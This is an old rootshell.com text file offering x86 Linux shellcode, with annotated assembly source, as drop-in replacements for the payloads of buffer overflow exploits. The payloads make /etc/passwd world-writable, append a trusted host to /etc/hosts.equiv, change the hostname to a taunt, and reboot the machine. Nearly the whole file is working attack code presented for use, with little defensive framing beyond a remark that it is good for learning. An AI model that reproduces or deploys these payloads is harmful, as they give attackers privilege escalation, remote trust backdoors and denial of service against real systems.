asmcodes.txt

`  
[ http://www.rootshell.com/ ]  
  
-----------------[ begin asmcodes.txt ]---------------------  
  
-- Assembly drop in replacements --  
(Probably useless, but can be a little fun ;-) )  
  
Here are some assembly instructions that you can drop into your favorite  
buffer overflow exploit. Generally, replacing existing shellcodes in  
existing buffer overruns with one these is all you need to do. Feel free to  
modify and experiment with these. (Sorry about the null's in them before  
;-) )  
  
/* This one changes the mode on /etc/passwd to 777 */  
char shellcode[]=  
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x1d"  
"\x01\xfb\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\xff\x01\x31\xc0\xb0"  
"\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61"  
"\x73\x73\x77\x64\x89\xec\x5d\xc3";  
  
/* This one creates /etc/hosts.equiv with a host called b00ger */  
char shellcode[]=  
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35"  
"\x01\xfb\x31\xc0\x88\x43\x10\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba"  
"\xa4\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x46\x01\xf9\x31"   
"\xd2\xb2\x07\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65"  
"\x74\x63\x2f\x68\x6f\x73\x74\x73\x2e\x65\x71\x75\x69\x76\x01\x62\x30"  
"\x30\x67\x65\x72\x0a\x89\xec\x5d\xc3";  
  
/* This one is useless: it just changes the hostname to yEw_r_0wn3d */  
char shellcode[]=  
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff"  
"\x31\xc0\xb0\x4a\x31\xdb\xb3\x16\x01\xfb\x31\xc9\xb1"  
"\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x79\x45\x77\x5f"  
"\x72\x5f\x30\x77\x6e\x33\x64\x89\xec\x5d\xc3";  
  
/* This is also useless: it just reboots an x86 machine */  
char shellcode[]=  
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff"  
"\xff\xff\x31\xc0\xb0\x24\xcd\x80\x31\xc0\xb0"  
"\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28"  
"\xba\x67\x45\x23\x01\xcd\x80\x31\xc0\xb0\x01"  
"\xcd\x80\x89\xec\x5d\xc3";  
  
  
-- Source code --  
  
# changes mode on /etc/passwd to 777   
# making it writeable by anyone.   
  
jmp rootshell  
hey:  
popl %edi  
jmp yo  
rootshell:  
call hey  
yo: # yo! w3rD!  
# chmod() is system call 15 (0xf)  
# (see /usr/include/asm/unistd.h)  
# eax contains syscall number   
xorl %ebx,%ebx # ebx has path to file  
movb $(phile-yo),%bl  
addl %edi,%ebx   
xorb %al,%al # clear out al  
movb %al,11(%ebx) # length of filename (11)  
xorl %ecx,%ecx # clear out ecx  
movw $00777,%cx # ecx contains mode 777  
xorl %eax,%eax # clear out eax  
movb $0xf,%al # syscall 15 (0xf) is chown  
int $0x80 # interrupt (make call)  
xorl %eax,%eax # clear eax  
movb $0x01,%al # syscall 1 (0x01) is exit  
int $0x80 # interrupt (make call)  
phile:  
.ascii \"/etc/passwd\" # /etc/passwd (11)  
  
-------------------------  
  
# Creates the file /etc/hosts.equiv if it does  
# not exist (or appends to if it does) and will  
# insert the host: b00ger  
# changing this should be trivial  
  
jmp rootshell   
coded_by_bmV:   
popl %edi  
jmp phoo  
rootshell:  
call coded_by_bmV  
phoo: # ok. I meant 'foo'  
# open() is system call 5   
# (see /usr/include/asm/unistd.h)  
# eax contains syscall number  
# ebx will have filename  
# ecx contains open flags  
# edx contains mode of file  
# ->file is handle returned to eax  
xorl %ebx,%ebx # clear ebx  
movb $(file-phoo),%bl # filename to open in ebx  
addl %edi,%ebx  
xorl %al, %al # clear out al  
movb %al,16(%ebx) # /etc/hosts.equiv (16)  
xorl %ecx,%ecx # clear out ecx  
movw $0x441,%cx # O_WRONLY | O_CREAT | O_APPEND  
xorl %edx,%edx # clear out edx  
movw $00644,%dx # mode 0644 -rw-r--r--  
xorl %eax,%eax # clear eax  
movb $0x5,%al # syscall 5 (0x5) is open()  
int $0x80 # interrupt (make call)  
# write() is system call 4  
# (see /usr/include/asm/unistd.h)  
# eax contains syscall 4 (write)  
# ebx will have file handle  
# ecx will point to "b00ger"  
# edx is strlen("b00ger");  
movl %eax,%ebx # move file handle to ebx  
xorl %ecx, %ecx # clear out ecx  
movb $(string-phoo),%cl # put "b00ger" in ecx  
addl %edi,%ecx  
xorl %edx,%edx # clear edx  
movb $7,%dl # strlen("b00ger") ==7  
xorl %eax,%eax # clear out eax  
movb $0x04,%al # syscall 4 is write()  
int $0x80 # interrupt (make call)  
xorl %eax,%eax # clean out eax  
movb $0x01,%al # syscall 1 (0x01) is exit()  
int $0x80 # interrupt (make call)  
# exit() should close file  
file:  
.ascii \"/etc/hosts.equiv\"   
.byte 1  
string:  
.ascii \"b00ger\n\"  
  
-------------------------  
  
# written just for grins ;-)  
# code to change to hostname of the  
# target machine to: yEw_r_0wn3d   
# Yes, I know this is useless :P  
  
jmp rootshell  
by_bm5:  
popl %edi  
jmp asmcode  
rootshell:  
call by_bm5  
asmcode: # assembly code ?  
# 74 (0x4a) is sethostname()  
# (see /usr/include/asm/unistd.h)  
# eax will have syscall 74  
# ebx points to "yEw_r_0wn3d"  
# ecx= strlen("yEw_r_0wn3d")==11  
xorl %eax,%eax # clear out eax  
movb $0x4a,%al # move 74 (sethostname()) to al  
xorl %ebx,%ebx # clear out ebx  
movb $(string-asmcode),%bl # put yEw_r_0wn3d in ebx  
addl %edi,%ebx  
xorl %ecx,%ecx # clear out ecx  
movb $0x0b,%cl # strlen("yEw_r_0wn3d")==0xb  
int $0x80 # interrupt (make call)  
xorl %eax,%eax # clear out eax  
movb $0x01,%al # syscall 1 (0x01) is exit()  
int $0x80 # interrupt (make call)  
.byte  
string:  
.ascii \"yEw_r_0wn3d\"  
  
-------------------------  
  
# reboots a Linux x86 box   
# also quite useless, but   
# good for learning.  
  
jmp rootshell   
coded_by_bmV:  
popl %edi  
jmp reb00t  
rootshell:  
call coded_by_bmV  
reb00t: # reboot Linux  
# sync() is syscall 36  
# (see /usr/include/asm/unistd.h)  
xorl %eax,%eax # clear out eax  
movb $0x24,%eax # make syscall to sync()  
int $0x80 # interrupt (make call)  
# reboot() is syscall 88 (0x58)  
# (see /usr/include/asm/unistd.h)  
# eax contains syscall 88 (reboot)  
# ebx will contain magic  
# ecx will contain magic2  
# (see manual page for reboot)  
xorl %eax,%eax # clear out eax  
movb $0x58,%eax # move 88 (reboot()) to eax  
movl $0xfee1dead,%ebx # put magic into ebx  
movl $672274793,%ecx # put magic2 into ecx  
movl $0x1234567,%edx # put flag into edx  
# read reboot manpage!  
int $0x80 # interrupt (make call)  
xorl %eax,%eax # clear out eax  
movb $0x01,%al # syscall 1 (0x01) is exit()  
int $0x80 # interrupt (make call)  
  
-------------------------  
  
--> Have fun!  
`